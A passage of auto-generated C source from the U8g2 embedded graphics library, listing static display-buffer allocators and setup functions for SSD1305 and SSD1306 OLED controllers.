4; return buf; #endif } uint8_t *u8g2_m_17_8_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[136]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_17_8_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[272]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_17_8_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 8; return 0; #else static uint8_t buf[1088]; *page_cnt = 8; return buf; #endif } uint8_t *u8g2_m_48_17_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[384]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_48_17_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[768]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_48_17_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 17; return 0; #else static uint8_t buf[6528]; *page_cnt = 17; return buf; #endif } uint8_t *u8g2_m_48_20_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[384]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_48_20_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[768]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_48_20_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 20; return 0; #else static uint8_t buf[7680]; *page_cnt = 20; return buf; #endif } uint8_t *u8g2_m_20_12_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[160]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_12_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_20_12_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 12; return 0; #else static uint8_t buf[1920]; *page_cnt = 12; return buf; #endif } uint8_t *u8g2_m_32_20_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[256]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_32_20_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[512]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_32_20_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 20; return 0; #else static uint8_t buf[5120]; *page_cnt = 20; return buf; #endif } uint8_t *u8g2_m_22_13_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[176]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_22_13_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[352]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_22_13_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 13; return 0; #else static uint8_t buf[2288]; *page_cnt = 13; return buf; #endif } uint8_t *u8g2_m_20_10_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[160]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_10_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_20_10_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 10; return 0; #else static uint8_t buf[1600]; *page_cnt = 10; return buf; #endif } uint8_t *u8g2_m_19_4_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[152]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_19_4_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[304]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_19_4_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 4; return 0; #else static uint8_t buf[608]; *page_cnt = 4; return buf; #endif } uint8_t *u8g2_m_20_17_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[160]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_17_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_20_17_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 17; return 0; #else static uint8_t buf[2720]; *page_cnt = 17; return buf; #endif } uint8_t *u8g2_m_26_5_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[208]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_26_5_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[416]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_26_5_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 5; return 0; #else static uint8_t buf[1040]; *page_cnt = 5; return buf; #endif } uint8_t *u8g2_m_22_9_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[176]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_22_9_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[352]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_22_9_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 9; return 0; #else static uint8_t buf[1584]; *page_cnt = 9; return buf; #endif } uint8_t *u8g2_m_25_25_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[200]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_25_25_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[400]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_25_25_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 25; return 0; #else static uint8_t buf[5000]; *page_cnt = 25; return buf; #endif } uint8_t *u8g2_m_37_16_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[296]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_37_16_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[592]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_37_16_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 16; return 0; #else static uint8_t buf[4736]; *page_cnt = 16; return buf; #endif } uint8_t *u8g2_m_40_25_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[320]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_40_25_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[640]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_40_25_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 25; return 0; #else static uint8_t buf[8000]; *page_cnt = 25; return buf; #endif } uint8_t *u8g2_m_8_1_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[64]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_8_1_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[128]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_8_1_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[64]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_4_1_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[32]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_4_1_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[64]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_4_1_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[32]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_1_1_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[8]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_1_1_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[16]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_1_1_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[8]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_2_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[160]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_2_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_20_2_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_32_7_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[256]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_32_7_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[512]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_32_7_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 7; return 0; #else static uint8_t buf[1792]; *page_cnt = 7; return buf; #endif } uint8_t *u8g2_m_48_30_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[384]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_48_30_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[768]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_48_30_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 30; return 0; #else static uint8_t buf[11520]; *page_cnt = 30; return buf; #endif } /* end of generated code */ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_d_setup.c ================================================ /* u8g2_d_setup.c */ /* generated code, codebuild, u8g2 project */ #include "u8g2.h" /* ssd1305 */ /* ssd1305 1 */ void u8g2_Setup_ssd1305_128x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_128x32_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 2 */ void u8g2_Setup_ssd1305_128x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_128x32_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 f */ void u8g2_Setup_ssd1305_128x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_128x32_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 */ /* ssd1305 1 */ void u8g2_Setup_ssd1305_i2c_128x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 2 */ void u8g2_Setup_ssd1305_i2c_128x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 f */ void u8g2_Setup_ssd1305_i2c_128x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 */ /* ssd1305 1 */ void u8g2_Setup_ssd1305_128x64_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_128x64_raystar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 2 */ void u8g2_Setup_ssd1305_128x64_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_128x64_raystar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 f */ void u8g2_Setup_ssd1305_128x64_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_128x64_raystar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 */ /* ssd1305 1 */ void u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_i2c_128x64_raystar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 2 */ void u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_i2c_128x64_raystar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1305 f */ void u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1305_i2c_128x64_raystar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_2040x16_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_2040x16, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_255_2_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_2040x16_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_2040x16, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_255_2_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_2040x16_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_2040x16, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_255_2_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_128x64_alt0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t 